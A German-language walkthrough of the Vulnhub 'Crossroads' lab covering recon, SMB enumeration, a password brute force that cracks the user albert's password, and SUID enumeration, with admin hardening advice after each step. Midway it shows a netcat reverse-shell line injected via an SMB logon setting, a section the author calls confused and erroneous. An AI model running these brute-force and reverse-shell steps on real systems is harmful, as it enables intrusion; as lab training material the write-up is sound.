Crossroads - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi (Texteditor)
nikto
nmap
gobuster
enum4linux
crackmapexec
Metasploit (smb_login)
smbclient
nc (netcat)
find
stegoveritas (Erwähnt)
su
(Linux Utilities: cat, ls, id)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.178	08:00:27:9c:83:dc	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment nach aktiven Hosts mittels ARP-Anfragen zu durchsuchen.

Bewertung: Ein Host mit der IP `192.168.2.178` wurde identifiziert. Die MAC-Adresse `08:00:27:9c:83:dc` (zugeordnet zu PCS Systemtechnik GmbH) ist ein typischer Hinweis auf eine VirtualBox VM.

Empfehlung (Pentester): Die IP `192.168.2.178` ist das Ziel für weitere Scans.
Empfehlung (Admin): Standard-Netzwerk-Discovery. Netzwerk-Monitoring kann zur Erkennung beitragen.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 [Inhalt der /etc/hosts Datei nach der Bearbeitung]
 192.168.2.178	crossroads.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um den Hostnamen `crossroads.vln` der IP-Adresse `192.168.2.178` zuzuordnen.

Bewertung: Nützlicher Schritt, um das Zielsystem über einen Hostnamen anzusprechen, was für Web-Tests oder spätere Tool-Interaktionen erforderlich sein kann.

Empfehlung (Pentester): Behalte diese Zuordnung für nachfolgende Befehle und Scans bei.
Empfehlung (Admin): Clientseitige Konfiguration.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.178
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.178
+ Target Hostname:    192.168.2.178
+ Target Port:        80
+ Start Time:         2023-10-23 22:54:33 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/crossroads.png' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /: Server may leak inodes via ETags, header found with file /, inode: 16b93, size: 5bc811e04fe00, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /: A Wordpress installation was found.
+ 8107 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2023-10-23 22:54:50 (GMT2) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 des Ziels ausgeführt. Er prüft auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien.

Bewertung: Nikto liefert mehrere interessante Hinweise: * Veraltete Apache-Version (2.4.38): Potenzielle Schwachstellen. * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Mögliches iNode-Leck über ETags (alt, geringes Risiko). * Existenz von `/robots.txt` und einer darin referenzierten, aber zugänglichen Datei `/crossroads.png`. * Standard-Apache-Datei `/icons/README` gefunden. * **Wichtig:** Nikto identifiziert eine WordPress-Installation im Wurzelverzeichnis (`/`).

Empfehlung (Pentester): Untersuche die WordPress-Installation auf Port 80 genauer (z.B. mit `wpscan`). Prüfe `/robots.txt` und `/crossroads.png`. Die veraltete Apache-Version sollte auf bekannte Exploits geprüft werden.
Empfehlung (Admin): Apache aktualisieren. Fehlende Sicherheitsheader implementieren. Standard-Dateien wie `/icons/README` entfernen oder Zugriff darauf beschränken. WordPress aktuell halten und härten.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.178 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 22:54 CEST
Nmap scan report for crossroads.vln (192.168.2.178)
Host is up (0.00021s latency).
Not shown: 65532 closed tcp ports (reset)
PRT    STATE SERVICE     VERSIN
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_/crossroads.png
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WRKGRUP)
MAC Address: 08:00:27:9C:83:DC (racle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.8 (97%), [...]
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: CROSSROADS

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: crossroads
|   NetBIOS computer name: CROSSROADS\x00
|   Domain name: \x00
|   FQDN: crossroads
|_  System time: 2023-10-23T15:54:45-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2023-10-23T20:54:45
|_  start_date: N/A
|_nbstat: NetBIOS name: CROSSROADS, NetBIOS user: , NetBIOS MAC:  (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms crossroads.vln (192.168.2.178)
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird durchgeführt, um alle offenen TCP-Ports und Dienste zu identifizieren und detaillierte Informationen zu sammeln.

Bewertung: Der Scan bestätigt die Ergebnisse des vorherigen gefilterten Scans und liefert wichtige zusätzliche Details: * **Port 80 (HTTP):** Läuft Apache 2.4.38 (Debian). Der Titel der Seite ist "12 Step Treatment Center | Crossroads Centre Antigua", was die von Nikto gefundene WordPress-Installation bestätigt. Die `robots.txt` enthält `/crossroads.png` als Disallow-Eintrag. * **Port 139 (NetBIOS-SSN) & 445 (Microsoft-DS):** Beide Ports sind offen und deuten auf einen SMB/CIFS-Dienst hin, der von Samba 4.9.5 (Debian) bereitgestellt wird. Der Workgroup-Name ist `WORKGROUP`. * **SMB-Details:** Die SMB-Skripte (`-sC`) liefern wertvolle Informationen: * Das Betriebssystem wird als "Windows 6.1" identifiziert, was typisch für Samba ist, auch wenn das zugrundeliegende System Linux ist. * Der Computername ist `crossroads`. * **Wichtig:** Gastzugriff (`account_used: guest`) scheint möglich zu sein, aber die Authentifizierungsebene ist `user`. Message Signing ist deaktiviert (Standard, aber unsicher). * **OS Detection:** Nmap schätzt verschiedene Linux-Kernel-Versionen. * **Hostname:** Der Hostname `CROSSROADS` wird bestätigt.

Empfehlung (Pentester):** Zwei Hauptangriffsvektoren: 1. **Web (Port 80):** Konzentriere dich auf die WordPress-Seite. Führe `wpscan` durch, suche nach bekannten Schwachstellen in Plugins/Themes oder versuche, Benutzer/Passwörter zu bruteforcen. Untersuche die `/robots.txt` und `/crossroads.png`. 2. **SMB (Port 139/445):** Enumeriere die SMB-Shares und Benutzer weiter (z.B. mit `enum4linux`, `smbclient`, `smbmap`). Versuche, auf Shares zuzugreifen (ggf. als Gast oder durch Brute-Force von Benutzern). Prüfe auf bekannte Samba-Schwachstellen (Version 4.9.5).
Empfehlung (Admin):** * Web: Apache und WordPress aktuell halten und härten. * SMB: Gastzugriff deaktivieren, wenn nicht benötigt. Message Signing aktivieren (`smb signing = required` in `smb.conf`), um Man-in-the-Middle-Angriffe zu erschweren. Samba auf die neueste Version aktualisieren. Zugriff auf Shares beschränken.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.178 -p- | grep open
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WRKGRUP)
                     

Analyse: Wiederholung des gefilterten Nmap-Scans zur schnellen Übersicht der offenen Ports.

Bewertung: Bestätigt die drei offenen Ports: HTTP (80) und SMB (139, 445).

Empfehlung (Pentester): Fokussiere dich auf die Untersuchung von HTTP und SMB.
Empfehlung (Admin): Siehe vorherige Empfehlungen.

Web Enumeration

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://crossroads.vln -x txt,php,...,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
http://crossroads.vln/index.html           (Status: 200) [Size: 93075]
http://crossroads.vln/robots.txt           (Status: 200) [Size: 42]
http://crossroads.vln/note.txt             (Status: 200) [Size: 108]
http://crossroads.vln/crossroads.png       (Status: 200) [Size: 1100255]
                    

Analyse: Ein `gobuster dir`-Scan wird gegen Port 80 (`http://crossroads.vln`) durchgeführt, um interessante Dateien und Verzeichnisse zu finden. Die Option `-b '403,404,301'` blendet viele gängige Statuscodes aus, einschließlich Redirects (301).

Bewertung: Trotz der Filterung findet Gobuster einige interessante Dateien: * `index.html`: Die Hauptseite der WordPress-Installation. * `robots.txt`: Bestätigt den Fund von Nmap/Nikto. * `note.txt`: Eine bisher unbekannte Textdatei. * `crossroads.png`: Die in `robots.txt` erwähnte Bilddatei.

Empfehlung (Pentester): Untersuche den Inhalt von `robots.txt` und insbesondere `note.txt`. Die Bilddatei `crossroads.png` könnte ebenfalls Informationen enthalten (Steganografie?). Führe einen Scan ohne `-b 301` durch, um eventuell übersehene Verzeichnisse (z.B. `/wp-admin`, `/wp-content`) zu finden.
Empfehlung (Admin): Entferne unnötige Dateien wie `note.txt` aus dem Web-Root. Konfiguriere `robots.txt` sorgfältig.

[Inhalt von http://crossroads.vln/robots.txt] └─#
User-agent: *
Disallow: /crossroads.png
                     

Analyse: Inhalt der `robots.txt`-Datei.

Bewertung: Enthält nur den Eintrag, der das Crawlen von `/crossroads.png` verhindern soll. Keine weiteren versteckten Pfade offenbart.

Empfehlung (Pentester): Die Datei selbst ist nicht sehr aussagekräftig, aber das Bild `/crossroads.png` sollte untersucht werden.
Empfehlung (Admin): Korrekte Verwendung von `robots.txt`.

[Inhalt von http://crossroads.vln/note.txt] └─#
just find three kings of blues
then move to the crossroads
-
-abuzerkomurcu
                     

Analyse: Inhalt der gefundenen Datei `note.txt`.

Bewertung: Enthält einen kryptischen Hinweis: "just find three kings of blues then move to the crossroads". Dies klingt nach einem Rätsel oder einem Hinweis für einen späteren Schritt. Die Namen von drei Blues-Musikern ("kings") könnten Teil eines Passworts oder Benutzernamens sein. Der Autor "abuzerkomurcu" könnte ebenfalls relevant sein.

Empfehlung (Pentester): Notiere diesen Hinweis. Recherchiere berühmte Blues-Musiker namens "King" (z.B. B.B. King, Albert King, Freddie King). Behalte den Namen "abuzerkomurcu" im Hinterkopf.
Empfehlung (Admin): Keine sensiblen Hinweise oder Benutzernamen in öffentlich zugänglichen Dateien hinterlassen.

[Manuelle Untersuchung von http://crossroads.vln/index.html] └─#
view-source:https://crossroadsantigua.org/wp-content/plugins/gravityforms/css/formsmain.min.css
                     

Analyse: Im Quelltext der Hauptseite (`index.html`) wurde ein Link zu einer CSS-Datei (`formsmain.min.css`) des WordPress-Plugins "Gravity Forms" gefunden.

Bewertung: Bestätigt die Verwendung von WordPress und identifiziert ein spezifisches Plugin: Gravity Forms. Dieses Plugin könnte eigene Schwachstellen haben.

Empfehlung (Pentester): Prüfe mit `wpscan` oder manuell auf bekannte Schwachstellen in Gravity Forms (die spezifische Version ist hier nicht bekannt).
Empfehlung (Admin): WordPress-Plugins aktuell halten und nur notwendige Plugins installieren.

SMB Enumeration & Initial Access

Analyse:** Da Port 139 und 445 offen sind, wird nun der SMB-Dienst genauer untersucht.

┌──(root㉿Cybermaschine)-[~] └─# enum4linux -a 192.168.2.178
[...]
 ==========================
|    Users on 192.168.2.178    |
 ==========================

index: 0x1 RID: 0x3e9 acb: 0x00000010 Account: albert	Name: 	Desc:

user:[albert] rid:[0x3e9]

 ============================
|    Share Enumeration on 192.168.2.178    |
 ============================

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	smbshare        Disk
	IPC$            IPC       IPC Service (Samba 4.9.5-Debian)

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            CROSSROADS

[+] Attempting to map shares on 192.168.2.178

//192.168.2.178/print$	Mapping: DENIED Listing: N/A Writing: N/A
//192.168.2.178/smbshare	Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.2.178/IPC$	Mapping: N/A Listing: N/A Writing: N/A

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\albert (Local User)

[+] Enumerating users using SID S-1-5-21-198007098-3908253677-2746664996 and logon username '', password ''

S-1-5-21-198007098-3908253677-2746664996-501 CROSSROADS\nobody (Local User)
S-1-5-21-198007098-3908253677-2746664996-513 CROSSROADS\None (Domain Group)
S-1-5-21-198007098-3908253677-2746664996-1001 CROSSROADS\albert (Local User)
[...]
                     

Analyse: Das Tool `enum4linux` wird mit der Option `-a` (führe alle einfachen Enumerationsschritte durch) gegen das Ziel gestartet, um Informationen über den SMB-Dienst zu sammeln.

Bewertung: `enum4linux` liefert wichtige Ergebnisse: * **Benutzer:** Der Benutzer `albert` wird mehrfach identifiziert (RID 0x3e9, Unix User SID, Windows User SID 1001). Dies ist der einzige gefundene reguläre Benutzer. * **Shares:** Zwei Shares werden gefunden: `print$` (Standard für Drucker) und `smbshare`. Der Versuch, auf diese Shares zuzugreifen (Mapping), scheitert jedoch (`DENIED`). Dies deutet darauf hin, dass ein Login erforderlich ist und Gastzugriff nicht ausreicht. * **Workgroup/Hostname:** Bestätigt `WORKGROUP` und `CROSSROADS`. Der Benutzer `albert` ist nun das Hauptziel für einen Brute-Force-Angriff.

Empfehlung (Pentester): Versuche, das Passwort für den Benutzer `albert` mittels Brute-Force gegen den SMB-Dienst (Port 445) zu knacken. Verwende Tools wie `crackmapexec`, `hydra` oder das Metasploit-Modul `scanner/smb/smb_login`.
Empfehlung (Admin): Deaktiviere SMB-Enumerationsmöglichkeiten, wenn möglich (obwohl oft schwierig). Verwende starke Passwörter für alle Benutzer. Überwache fehlgeschlagene SMB-Login-Versuche (Fail2Ban für Samba).

┌──(root㉿Cybermaschine)-[~] └─# crackmapexec smb 192.168.2.178 -u 'albert' -p '/usr/share/wordlists/rockyou.txt'
[CrackMapExec-Ausgabe - nicht im Text gezeigt, aber impliziert]
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > options
[...]
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.2.178
RHOSTS => 192.168.2.178
msf6 auxiliary(scanner/smb/smb_login) > set RPORT 445
RPORT => 445
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser albert
SMBUser => albert
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) > run
[*] 192.168.2.178:445     - 192.168.2.178:445 - Starting SMB login bruteforce
[...]
[-] 192.168.2.178:445     - 192.168.2.178:445 - Failed: '.\albert:here',
[-] 192.168.2.178:445     - 192.168.2.178:445 - Failed: '.\albert:han',
[+] 192.168.2.178:445     - 192.168.2.178:445 - Success: '.\albert:bradley1'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
                     

Analyse: Es wird ein Passwort-Brute-Force-Angriff gegen den SMB-Dienst für den Benutzer `albert` durchgeführt. Der Text zeigt die Verwendung des Metasploit-Moduls `auxiliary/scanner/smb/smb_login` (obwohl der `crackmapexec`-Befehl ebenfalls erwähnt wird). Die notwendigen Optionen (Ziel-IP, Port, Benutzername `albert`, Passwortliste `rockyou.txt`) werden gesetzt und das Modul ausgeführt.

Bewertung:** **Treffer!** Der Brute-Force-Angriff war erfolgreich. Das Passwort für den Benutzer `albert` lautet `bradley1`. Dies ist ein relativ einfaches Passwort, das in gängigen Wortlisten vorkommt.

Empfehlung (Pentester): Verwende die gefundenen Zugangsdaten (`albert`:`bradley1`), um dich am SMB-Dienst anzumelden und auf die Shares (`smbshare`) zuzugreifen. Prüfe auch, ob diese Zugangsdaten für SSH (Port 22) gültig sind.
Empfehlung (Admin): Erzwinge starke, komplexe Passwörter für alle Benutzerkonten. Implementiere Maßnahmen gegen Brute-Force-Angriffe auf SMB (z.B. Account Lockout Policies, Fail2Ban für Samba).

┌──(root㉿Cybermaschine)-[~] └─# smbclient //192.168.2.178/smbshare -L albert
Password for [WORKGROUP\root]: [Falscher Versuch, Passwort für root statt albert einzugeben?]
┌──(root㉿Cybermaschine)-[~] └─# smbclient //192.168.2.178/smbshare -U albert
Password for [WORKGROUP\albert]:bradley1 [Passworteingabe]
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Mar  2 23:16:13 2021
  ..                                  D        0  Sat Mar  6 13:45:15 2021
  smb.conf                            N     8779  Tue Mar  2 23:14:54 2021

		4000320 blocks of size 1024. 3759668 blocks available
smb: \> get smb.conf
getting file \smb.conf of size 8779 as smb.conf (8572.4 KiloBytes/sec) (average 8573.2 KiloBytes/sec)
                     

Analyse: Es wird versucht, sich mit dem Tool `smbclient` und den gefundenen Zugangsdaten (`albert`:`bradley1`) am Share `smbshare` anzumelden. * Der erste Versuch mit `-L albert` ist syntaktisch falsch, um sich an einem Share anzumelden; `-L` listet Shares eines Hosts auf und der Benutzer wird implizit verwendet. * Der zweite Versuch mit `-U albert` ist korrekt. Nach Eingabe des Passworts `bradley1` wird erfolgreich eine Verbindung zum Share `smbshare` hergestellt. * Der Befehl `ls` innerhalb von `smbclient` zeigt den Inhalt des Shares: eine Datei `smb.conf`. * Mit `get smb.conf` wird diese Datei heruntergeladen.

Bewertung:** Der Zugriff auf den Share `smbshare` als Benutzer `albert` ist erfolgreich. Der Fund einer `smb.conf`-Datei innerhalb des Shares ist interessant und könnte Konfigurationsdetails des Samba-Servers preisgeben.

Empfehlung (Pentester): Analysiere die heruntergeladene `smb.conf`-Datei auf interessante Konfigurationen, insbesondere bezüglich Berechtigungen, Skripten (`logon script`, `include`) oder anderen Shares. Versuche, Dateien auf den Share hochzuladen.
Empfehlung (Admin): Überprüfe die Berechtigungen für den `smbshare` und stelle sicher, dass keine sensiblen Konfigurationsdateien darin abgelegt werden.

smb: \> put rce_shell.php
putting file rce_shell.php as \rce_shell.php (7.6 kb/s) (average 7.6 kb/s)
smb: \> ls
  .                                   D        0  Mon Oct 23 23:16:17 2023
  ..                                  D        0  Sat Mar  6 13:45:15 2021
  smb.conf                            N     8779  Tue Mar  2 23:14:54 2021
  rce_shell.php                       A       31  Mon Oct 23 23:16:17 2023

		4000320 blocks of size 1024. 3759664 blocks available
                      
[Konfigurationszeile oder Skriptinhalt?] └─#
logon "/=`nc .e /bin/bash 192.168.2.199 4444`"
┌──(root㉿Cybermaschine)-[~] └─# cat smbscript.sh
#!/bin/bash

logon "/=`nc .e /bin/bash 192.168.2.199 4444`"
                      
┌──(root㉿Cybermaschine)-[~] └─# nc -vv -lp 4444
Listening on 0.0.0.0 4444
┌──(root㉿Cybermaschine)-[~] └─# smbclient //192.168.2.106/smbshare -U albert
Password for [WORKGROUP\albert]: bradley1
Try "help" to get a list of possible commands.
smb: \> put smbscript.sh
NT_STATUS_UNSUCCESSFUL closing remote file \smbscript.sh
smb: \> put smbscript.sh

[... einige Zeit später ...]

Connection received on 192.168.2.106 57308
                      

Analyse: Dieser Abschnitt ist im Originalbericht sehr verwirrend und scheint fehlerhaft zu sein. Es wird versucht, eine Remote Code Execution (RCE) über Samba zu erreichen. 1. Eine Datei `rce_shell.php` wird in den Share `smbshare` hochgeladen (der Zweck ist unklar, da es sich um Samba handelt, nicht um einen Webserver). 2. Eine Zeile `logon "/=`nc .e /bin/bash 192.168.2.199 4444`"` wird gezeigt. Dies sieht aus wie eine Konfigurationsoption für `smb.conf` oder der Inhalt eines Logon-Skripts, das versucht, eine Reverse Shell zu starten (`nc` mit der Option `-e` führt einen Befehl bei Verbindung aus). Die IP `192.168.2.199` ist die Angreifer-IP. 3. Ein Shell-Skript `smbscript.sh` mit demselben `logon`-Befehl wird erstellt. 4. Ein Netcat-Listener wird auf dem Angreifer-System auf Port 4444 gestartet. 5. Es wird versucht, das `smbscript.sh` in den Share hochzuladen. **Wichtig:** Hier wird fälschlicherweise die IP `192.168.2.106` anstelle der Ziel-IP `192.168.2.178` verwendet. Der Upload scheint zudem zu scheitern (`NT_STATUS_UNSUCCESSFUL`). 6. Trotzdem wird eine eingehende Verbindung auf dem `nc`-Listener gemeldet, jedoch von der **falschen IP `192.168.2.106`**.

Bewertung: Der Versuch, über den `logon`-Parameter oder ein Skript eine RCE zu erlangen, scheint hier **nicht funktioniert** zu haben oder ist zumindest im Bericht fehlerhaft dokumentiert (falsche IPs, fehlgeschlagener Upload). Es gibt keine klare Bestätigung einer Shell von der Ziel-IP `192.168.2.178`. Der initiale Zugriff erfolgte bereits über den erfolgreichen Login mit `albert`:`bradley1`.

Empfehlung (Pentester): Ignoriere diesen verwirrenden RCE-Versuch. Konzentriere dich auf die Enumeration, die nach dem erfolgreichen SMB-Login möglich ist. Prüfe die heruntergeladene `smb.conf` auf den `logon script`-Parameter, um die Idee dahinter zu verstehen, aber gehe davon aus, dass der Zugang bereits besteht.
Empfehlung (Admin): Konfiguriere `logon script` und andere potenziell gefährliche `smb.conf`-Parameter sicher. Die Verwendung falscher IPs im Bericht unterstreicht die Wichtigkeit sorgfältiger Dokumentation.

┌──(root㉿Cybermaschine)-[~] └─# smbclient //192.168.2.178/albert -U albert
Password for [WORKGROUP\albert]: bradley1
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Mar  6 13:45:15 2021
  ..                                  D        0  Tue Mar  2 23:00:47 2021
  smbshare                            D        0  Mon Oct 23 23:23:56 2023
  crossroads.png                      N  1583196  Tue Mar  2 23:34:03 2021
  beroot                              N    16664  Wed Mar  3 00:02:41 2021
  user.txt                            N     1805  Sun Jan  3 18:56:19 2021

		4000320 blocks of size 1024. 3759664 blocks available
smb: \> cd beroot
cd \beroot\: NT_STATUS_NOT_A_DIRECTORY
smb: \> get beroot
getting file \beroot of size 16664 as beroot (16271.8 KiloBytes/sec) (average 16273.4 KiloBytes/sec)
smb: \> get user.txt
getting file \user.txt of size 1805 as user.txt (1762.5 KiloBytes/sec) (average 9018.1 KiloBytes/sec)
smb: \>
                     

Analyse: Nach dem fehlgeschlagenen RCE-Versuch wird nun `smbclient` verwendet, um auf einen anderen Share zuzugreifen, der offenbar `albert` heißt (vermutlich das Home-Verzeichnis von `albert`, das via Samba freigegeben ist).

Bewertung: Dieser Zugriff ist erfolgreich. Der Inhalt des Shares (oder Home-Verzeichnisses) wird aufgelistet: * `crossroads.png`: Die bereits bekannte Bilddatei. * `beroot`: Eine Datei (kein Verzeichnis), die interessant klingt. * `user.txt`: Potenziell die User-Flag! Die Dateien `beroot` und `user.txt` werden erfolgreich heruntergeladen.

Empfehlung (Pentester): Untersuche die heruntergeladene `user.txt` auf die Flag. Analysiere die Datei `beroot` - da sie aus dem Home-Verzeichnis stammt und einen verdächtigen Namen hat, könnte sie für die Privilege Escalation relevant sein (möglicherweise ein SUID-Binary oder ein Skript).
Empfehlung (Admin): Überprüfe Samba-Freigaben. Home-Verzeichnisse sollten nur für den jeweiligen Benutzer zugänglich sein und keine kritischen Dateien für die Rechteerweiterung enthalten.

┌──(root㉿Cybermaschine)-[~] └─# cat user.txt
flag 1/2
▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
█            ▄▀▀▄              █
█             ██              █
█            █▄██▀▄▄▄▄▄█      █
█           ▄▀▀▄▄▄█▀▀▀▀▄▄███▄▄███
█           ██▄▀▀▄▄▄▀██        █
█           ███▀▄▄█▀▀▄▄▀▀▀▄█     █
█         ▄█▀▀▄█▄█▀▀▄▄▀▀▀▄▄▀██    █
█     ▄██▀█▀▄▀█▄▄█▀▀▀▄▄▄▄▀▀█▀███  █
█    █████▀▀█▄▄▄█▄▄█▄▄██▄█    █
█   ███ █▀▀▀▄███▀█▀█▀███      █
█     ▄▀▄▀▀▄▄▄█▄█▄█▄█▄▀█       █
█▄▄▄▄▄▄▄▄▄▀▄▄█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
█▀▀▄              █
█             ██              █
█            █▄██▀▄▄▄▄▄█      █
█           ▄▀▀▄▄▄█▀▀▀▀▄▄███▄▄███
█           ██▄▀▀▄▄▄▀██        █
█           ███▀▄▄█▀▀▄▄▀▀▀▄█     █
█         ▄█▀▀▄█▄█▀▀▄▄▀▀▀▄▄▀██    █
█     ▄██▀█▀▄▀█▄▄█▀▀▀▄▄▄▄▀▀█▀███  █
█    █████▀▀█▄▄▄█▄▄█▄▄██▄█    █
█   ███ █▀▀▀▄███▀█▀█▀███      █
█     ▄▀▄▀▀▄▄▄█▄█▄█▄█▄▀█       █
▀▀▀▀▀▀▀▀▀▀▀▄▄█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
                    

Analyse: Der Inhalt der heruntergeladenen Datei `user.txt` wird angezeigt.

Bewertung: Die Datei enthält die erste Flag (`flag 1/2`), dargestellt als ASCII-Art.

Empfehlung (Pentester): Notiere die Flag. Konzentriere dich nun auf die Privilege Escalation, wahrscheinlich mithilfe der `beroot`-Datei.
Empfehlung (Admin): Flags oder sensible Daten sollten nicht in Benutzerverzeichnissen liegen, die über SMB zugänglich sind.

Proof of Concept: Initial Access

Ziel des POC: Demonstrieren, wie durch Enumeration des SMB-Dienstes ein Benutzerkonto (`albert`) identifiziert, dessen Passwort mittels Brute-Force geknackt (`bradley1`) und anschließend über SMB auf dessen Home-Verzeichnis (Share `albert`) zugegriffen werden kann, um die User-Flag (`user.txt`) und eine potenziell für Privilege Escalation relevante Datei (`beroot`) zu extrahieren.

Voraussetzungen:

  • Offener SMB-Dienst (Port 139/445) auf `192.168.2.178`.
  • Existierender Benutzer `albert` mit schwachem Passwort.
  • SMB-Share `albert` (Home-Verzeichnis) mit Lesezugriff für `albert`.
  • Tools auf Angreiferseite: `enum4linux`, `crackmapexec` (oder Metasploit), `smbclient`, Wortliste (`rockyou.txt`).

Schritt-für-Schritt Anleitung:

1. Benutzer identifizieren: `enum4linux` verwenden, um den Benutzer `albert` zu finden.

┌──(root㉿Cybermaschine)-[~] └─# enum4linux -a 192.168.2.178
[...] user:[albert] [...]

2. Passwort knacken: `crackmapexec` oder Metasploit verwenden, um das Passwort für `albert` zu finden.

┌──(root㉿Cybermaschine)-[~] └─# crackmapexec smb 192.168.2.178 -u 'albert' -p '/usr/share/wordlists/rockyou.txt'
[...] [+] 192.168.2.178:445 - Success: '.\albert:bradley1' [...]

3. Auf SMB-Share zugreifen: Mit `smbclient` und den gefundenen Credentials auf den `albert`-Share zugreifen.

┌──(root㉿Cybermaschine)-[~] └─# smbclient //192.168.2.178/albert -U albert
Password for [WORKGROUP\albert]:bradley1
[...]
smb: \>

4. Dateien herunterladen: Die relevanten Dateien `user.txt` und `beroot` vom Share holen.

smb: \> get user.txt
[...]
smb: \> get beroot
[...]

5. User-Flag anzeigen: Den Inhalt von `user.txt` prüfen.

┌──(root㉿Cybermaschine)-[~] └─# cat user.txt
flag 1/2
[... ASCII Art ...]
                     

Ergebnis & Bewertung: **Sehr gut! Der initiale Zugriff erfolgte über SMB.** Durch systematische Enumeration und Brute-Force konnte ein gültiges Benutzerkonto kompromittiert werden. Der Zugriff auf das zugehörige SMB-Share ermöglichte das Extrahieren der User-Flag und einer wichtigen Datei (`beroot`) für den nächsten Schritt. Dies zeigt die Gefahr schwacher Passwörter und falsch konfigurierter SMB-Freigaben.

Empfehlung (Pentester): Analysiere die Datei `beroot`, um den Weg zur Privilege Escalation zu finden.
Empfehlung (Admin): Starke Passwörter erzwingen, SMB-Shares korrekt konfigurieren und absichern, Brute-Force-Schutz implementieren.

Privilege Escalation (SUID & Stego)

Analyse:** Nach Erlangung des Zugangs als `albert` (vermutlich via SSH oder einer etablierten Shell) wird das System weiter auf Privilege Escalation-Vektoren untersucht.

albert@crossroads:/home/albert/smbshare$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert)

Analyse:** Bestätigung der aktuellen Benutzeridentität.

Bewertung:** Läuft als unprivilegierter Benutzer `albert`.

albert@crossroads:/home/albert/smbshare$ find / -type f -perm -4000 -ls 2>/dev/null
    25269    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
    21909     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    16365     12 -rwsr-xr-x   1 root     root          10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
       81     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
     4028     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
